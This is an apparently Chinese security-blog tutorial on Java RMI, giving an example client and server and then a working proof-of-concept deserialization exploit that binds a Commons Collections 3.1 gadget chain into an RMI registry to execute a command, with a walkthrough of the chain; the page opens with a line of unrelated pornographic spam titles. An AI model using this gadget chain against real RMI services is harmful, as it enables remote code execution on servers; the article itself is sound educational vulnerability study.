日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

原創：Xman21合天智匯

原創投稿活動：

http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ

一、RMI簡介

首先看一下RMI在wikipedia上的描述：

JAVA遠程方法調用，即Java RMI（Java Remote Method Invocation）是Java編程語言里，一種用于實現遠程過程調用的應用程序編程接口。它使客戶機上運行的程序可以調用遠程服務器上的對象。遠程方法調用特性使Java編程人員能夠在網絡環境中分布操作。RMI全部的宗旨就是盡可能簡化遠程接口對象的使用。 Java RMI極大地依賴于接口。在需要創建一個遠程對象的時候，程序員通過傳遞一個接口來隱藏底層的實現細節。客戶端得到的遠程對象句柄正好與本地的根代碼連接，由后者負責透過網絡通信。這樣一來，程序員只需關心如何通過自己的接口句柄發送消息。

換句話說，使用RMI是為了不同JVM虛擬機的Java對象能夠更好地相互調用，就像調用本地的對象一樣。RMI為了隱藏網絡通信過程中的細節，使用了代理方法。如下圖所示，在客戶端和服務器各有一個代理，客戶端的代理叫Stub，服務端的代理叫Skeleton。代理都是由服務端產生的，客戶端的代理是在服務端產生后動態加載過去的。當客戶端通信是只需要調用本地代理傳入所調用的遠程對象和參數即可，本地代理會對其進行編碼，服務端代理會解碼數據，在本地運行，然后將結果返回。在RMI協議中，對象是使用序列化機制進行編碼的。

?

我們可以將客戶端存根編碼的數據包含以下幾個部分：

• 被使用的遠程對象的標識符
• 被調用的方法的描述
• 編組后的參數

當請求數據到達服務端后會執行如下操作：

1. 定位要調用的遠程對象
2. 調用所需的方法，并傳遞客戶端提供的參數
3. 捕獲返回值或調用產生的異常。
4. 將返回值編組，打包送回給客戶端存根

客戶端存根對來自服務器端的返回值或異常進行反編組，其結果就成為了調用存根返回值。

?

二、RMI示例

接下來我們編寫一個RMI通信的示例，使用IDEA新建一個Java項目，代碼結構如下：

?

Client.java

1. package client;
2. import service.Hello;
3. import java.rmi.registry.LocateRegistry;
4. import java.rmi.registry.Registry;
5. import java.util.Scanner;
6. public class Client {
7. public static void main(String[] args) throws Exception{
8. // 獲取遠程主機上的注冊表
9. Registry registry=LocateRegistry.getRegistry("localhost",1099);
10. String name="hello";
11. // 獲取遠程對象
12. Hello hello=(Hello)registry.lookup(name);
13. while(true){
14. Scanner sc = new Scanner( System.in );
15. String message = sc.next();
16. // 調用遠程方法
17. hello.echo(message);
18. if(message.equals("quit")){
19. break;
20. }
21. }
22. }
23. }

Server.java

1. package server;
2. import service.Hello;
3. import service.impl.HelloImpl;
4. import java.rmi.registry.LocateRegistry;
5. import java.rmi.registry.Registry;
6. import java.rmi.server.UnicastRemoteObject;
7. public class Server {
8. public static void main(String[] args) throws Exception{
9. String name="hello";
10. Hello hello=new HelloImpl();
11. // 生成Stub
12. UnicastRemoteObject.exportObject(hello,1099);
13. // 創建本機 1099 端口上的RMI registry
14. Registry registry=LocateRegistry.createRegistry(1099);
15. // 對象綁定到注冊表中
16. registry.rebind(name, hello);
17. }
18. }

Hello.java

1. package service;
2. import java.rmi.Remote;
3. import java.rmi.RemoteException;
4. public interface Hello extends Remote {
5. public String echo(String message) throws RemoteException;
6. }

HelloImpl

1. package service.impl;
2. import service.Hello;
3. import java.rmi.RemoteException;
4. public class HelloImpl implements Hello {
5. @Override
6. public String echo(String message) throws RemoteException {
7. if("quit".equalsIgnoreCase(message.toString())){
8. System.out.println("Server will be shutdown!");
9. System.exit(0);
10. }
11. System.out.println("Message from client: "+message);
12. return "Server response:"+message;
13. }
14. }

先運行Server，然后運行Client，然后即可進行Server與Client的通信

?

?

三、漏洞復現

RMI反序列化漏洞的存在必須包含兩個條件：

1. 能夠進行RMI通信
2. 目標服務器引用了第三方存在反序列化漏洞的jar包

注：復現的時候需要JDK8 121以下版本，121及以后加了白名單限制，

這里我們以Apache Commons Collections反序列化漏洞為例，使用的版本為commons-collections.jar 3.1，新建一個漏洞利用的類RMIexploit

1. package client;
2. import org.apache.commons.collections.Transformer;
3. import org.apache.commons.collections.functors.ChainedTransformer;
4. import org.apache.commons.collections.functors.ConstantTransformer;
5. import org.apache.commons.collections.functors.InvokerTransformer;
6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
7. import org.apache.commons.collections.map.LazyMap;
8. import javax.management.BadAttributeValueExpException;
9. import java.lang.reflect.Constructor;
10. import java.lang.reflect.Field;
11. import java.lang.reflect.InvocationHandler;
12. import java.lang.reflect.Proxy;
13. import java.rmi.Remote;
14. import java.rmi.registry.LocateRegistry;
15. import java.rmi.registry.Registry;
16. import java.util.HashMap;
17. import java.util.Map;
18. public class RMIexploit {
19. public static void main(String[] args) throws Exception {
20. // 遠程RMI Server的地址
21. String ip = "127.0.0.1";
22. int port = 1099;
23. // 要執行的命令
24. String command = "calc";
25. final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
26. // real chain for after setup
27. final Transformer[] transformers = new Transformer[] {
28. new ConstantTransformer(Runtime.class),
29. new InvokerTransformer("getMethod",
30. new Class[] {String.class, Class[].class },
31. new Object[] {"getRuntime", new Class[0] }),
32. new InvokerTransformer("invoke",
33. new Class[] {Object.class, Object[].class },
34. new Object[] {null, new Object[0] }),
35. new InvokerTransformer("exec",
36. new Class[] { String.class },
37. new Object[] { command }),
38. new ConstantTransformer(1) };
39. Transformer transformerChain = new ChainedTransformer(transformers);
40. Map innerMap = new HashMap();
41. Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
42. TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
43. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
44. Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
45. valfield.setAccessible(true);
46. valfield.set(badAttributeValueExpException, entry);
47. String name = "pwned"+ System.nanoTime();
48. Map<String, Object> map = new HashMap<String, Object>();
49. map.put(name, badAttributeValueExpException);
50. // 獲得AnnotationInvocationHandler的構造函數
51. Constructor cl = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0];
52. cl.setAccessible(true);
53. // 實例化一個代理
54. InvocationHandler hl = (InvocationHandler)cl.newInstance(Override.class, map);
55. Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, hl);
56. Remote remote = Remote.class.cast(object);
57. Registry registry=LocateRegistry.getRegistry(ip,port);
58. registry.bind(name, remote);
59. }
60. }

然后執行RMIexploit

?

四、漏洞分析

其實RMI反序列化的POC比Apache Commons Collections反序列化漏洞的POC只是多了RMI的通信步驟，Commons Collections組件的分析網上已經有很多，這里只對本文使用的調用鏈做簡要分析。

?

如上圖所示，當序列化的數據到達RMI Server后回自動進行反序列化操作，首先是AnnotationInvocationHandler執行readObject函數；然后調用TiedMapEntry的toString函數，再調用同文件的getValue方法；然后調用到LazyMap的get方法；后面的步驟其實一個循環調用的過程，利用ChainedTransformer中的transform方法，多次調用，直到最后的命令執行。

1. public Object transform(Object object) {
2. for(int i = 0; i < this.iTransformers.length; ++i) {
3. object = this.iTransformers[i].transform(object);
4. }

不過這里有幾個問題需要專門解釋下。

1、為什么這里的badAttributeValueExpException對象是通過反射構造，而不是直接聲明？

代碼中我們用以下四行反射的方式構造badAttributeValueExpException對象

1. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
2. Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
3. valfield.setAccessible(true);
4. valfield.set(badAttributeValueExpException, tiedMapEntry);

而不是直接聲明的呢

1. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

要知道BadAttributeValueExpException的構造函數就是給val遍變量賦值

1. public BadAttributeValueExpException (Object val) {
2. this.val = val == null ? null : val.toString();
3. }

但是仔細看這個構造函數，當val不為空的時候，是將val.toString()賦值給this.val，因此這樣直接聲明的話會直接通過toString()觸發命令執行。但是在真正反序列化的時候，由于val變成了String類型，就會造成漏洞無法觸發。

2、為什么不直接將badAttributeValueExpException對象bind到RMI服務？

執行bind操作需要對象類型為Remote，這里BadAttributeValueExpException無法直接轉換為Remote類型，因此需要將其封裝在AnnotationInvocationHandler里面。在這個Poc中只要是繼承了InvocationHandler的動態代理類都可以，比如我們自定義以下類

1. package client;
2. import javax.management.BadAttributeValueExpException;
3. import java.io.Serializable;
4. import java.lang.reflect.InvocationHandler;
5. import java.lang.reflect.Method;
6. public class PocHandler implements InvocationHandler, Serializable {
7. private BadAttributeValueExpException ref;
8. protected PocHandler(BadAttributeValueExpException newref) {
9. ref = newref;
10. }
11. // @Override
12. public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
13. return method.invoke(this.ref, args);
14. }
15. }

Poc代碼動態代理聲明一行改為

1. Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, new PocHandler(badAttributeValueExpException));

反序列化過程是遞歸的，封裝在InvocationHandler中badAttributeValueExpException也會執行反序列化操作，因此也能夠觸發命令執行。但是有些Poc的寫法就必須要用sun.reflect.annotation.AnnotationInvocationHandler這個類，因為是利用AnnotationInvocationHandler反序列化過程中readObject函數對map對象的set操作來實現命令執行的，set操作會導致transform操作，使得整個調用鏈觸發。

1. private void readObject(java.io.ObjectInputStream s)
2. throws java.io.IOException, ClassNotFoundException {
3. s.defaultReadObject();
4. // Check to make sure that types have not evolved incompatibly
5. AnnotationType annotationType = null;
6. try {
7. annotationType = AnnotationType.getInstance(type);
8. } catch(IllegalArgumentException e) {
9. // Class is no longer an annotation type; time to punch out
10. throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
11. }
12. Map<String, Class<?>> memberTypes = annotationType.memberTypes();
13. // If there are annotation members without values, that
14. // situation is handled by the invoke method.
15. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
16. String name = memberValue.getKey();
17. Class<?> memberType = memberTypes.get(name);
18. if (memberType != null) { // i.e. member still exists
19. Object value = memberValue.getValue();
20. if (!(memberType.isInstance(value) ||
21. value instanceof ExceptionProxy)) {
22. memberValue.setValue(
23. new AnnotationTypeMismatchExceptionProxy(
24. value.getClass() + "[" + value + "]").setMember(
25. annotationType.members().get(name)));
26. }
27. }
28. }
29. }

我本地版本jdk的AnnotationInvocationHandler沒有set操作，因此一開始就借助BadAttributeValueExpException進行漏洞觸發。

相關實驗：Java反序列漏洞

點擊：

“http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111916202700001”（PC端操作最佳喲）

?

聲明：筆者初衷用于分享與普及網絡知識，若讀者因此作出任何危害網絡安全行為后果自負，與合天智匯及原作者無關，本文為合天原創，如需轉載，請注明出處！